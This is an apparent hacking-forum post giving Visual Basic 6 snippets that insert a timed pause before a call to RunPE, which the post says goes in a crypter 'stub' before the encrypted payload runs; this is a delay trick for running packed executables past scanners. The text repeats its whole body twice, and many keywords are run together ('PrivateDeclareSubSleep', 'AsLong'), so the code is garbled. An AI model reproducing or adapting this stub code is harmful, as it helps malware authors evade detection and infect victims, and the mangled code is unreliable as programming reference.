12 Years of Service
20%
Delay VB6 By DollyDolly
Option 1 (easy but less accurate):
PrivateDeclareSubSleep Lib "kernel32" (ByVal dwMilliseconds AsLong)
[LENGUAJE=vb]PublicSub Main()
Const segundos AsInteger = 25
Sleep (segundos * 1000)
Call RunPE(App.Path & "\" & App.EXEName, sBytes())
EndSub[/LENGUAJE]
Option 2 (long but need more):
[LENGUAJE=vb]OptionExplicit
PrivateDeclareSubSleep Lib "kernel32" (ByVal dwMilliseconds AsLong)
PublicSub Pause(SecsDelay AsSingle)
Dim TimeOut AsSingle
Dim PrevTimer AsSingle
PrevTimer = Timer
TimeOut = PrevTimer + SecsDelay
DoWhile PrevTimer < TimeOut
Sleep 4
DoEvents
If Timer < PrevTimer Then TimeOut = TimeOut - 86400
PrevTimer = Timer
Loop
EndSub[/LENGUAJE]
Option 3 :
[LENGUAJE=vb]PublicSub Main()
Const segundos AsInteger = 25
Pause(segundos)
Call RunPE(App.Path & "\" & App.EXEName, sBytes())
EndSub
PublicSub SleepFor(ByVal Seconds AsDouble)
' "Sleep" for the specified number of seconds.
Dim EndTime AsDate
EndTime = DateAdd("s", Seconds, Now)
Do
DoEvents
LoopUntil Now >= EndTime
EndSub
PublicSub Main()
SleepFor 15 ' Pause for 15 seconds.
Call RunPE(App.Path & "\" & App.EXEName, sBytes())
EndSub[/LENGUAJE]
Or This Code (Original By DuNeD@i) :
[LENGUAJE=vb]Public Sub SleepFor(ByVal Seconds As Double)
' "Sleep" for the specified number of seconds.
Dim EndTime As Date
EndTime = DateAdd("s", Seconds, Now)
Do
DoEvents
Loop Until Now >= EndTime
End Sub[/LENGUAJE]
Option 1 (easy but less accurate):
PrivateDeclareSubSleep Lib "kernel32" (ByVal dwMilliseconds AsLong)
[LENGUAJE=vb]PublicSub Main()
Const segundos AsInteger = 25
Sleep (segundos * 1000)
Call RunPE(App.Path & "\" & App.EXEName, sBytes())
EndSub[/LENGUAJE]
Option 2 (long but need more):
[LENGUAJE=vb]OptionExplicit
PrivateDeclareSubSleep Lib "kernel32" (ByVal dwMilliseconds AsLong)
PublicSub Pause(SecsDelay AsSingle)
Dim TimeOut AsSingle
Dim PrevTimer AsSingle
PrevTimer = Timer
TimeOut = PrevTimer + SecsDelay
DoWhile PrevTimer < TimeOut
Sleep 4
DoEvents
If Timer < PrevTimer Then TimeOut = TimeOut - 86400
PrevTimer = Timer
Loop
EndSub[/LENGUAJE]
Option 3 :
[LENGUAJE=vb]PublicSub Main()
Const segundos AsInteger = 25
Pause(segundos)
Call RunPE(App.Path & "\" & App.EXEName, sBytes())
EndSub
PublicSub SleepFor(ByVal Seconds AsDouble)
' "Sleep" for the specified number of seconds.
Dim EndTime AsDate
EndTime = DateAdd("s", Seconds, Now)
Do
DoEvents
LoopUntil Now >= EndTime
EndSub
PublicSub Main()
SleepFor 15 ' Pause for 15 seconds.
Call RunPE(App.Path & "\" & App.EXEName, sBytes())
EndSub[/LENGUAJE]
Or This Code (Original By DuNeD@i) :
[LENGUAJE=vb]Public Sub SleepFor(ByVal Seconds As Double)
' "Sleep" for the specified number of seconds.
Dim EndTime As Date
EndTime = DateAdd("s", Seconds, Now)
Do
DoEvents
Loop Until Now >= EndTime
End Sub[/LENGUAJE]
Code:
>SleepFor 15 ' Pause for 15 seconds.
This obviously must be placed in the stub code and what it does is simply a pause before executing the encryption RunPE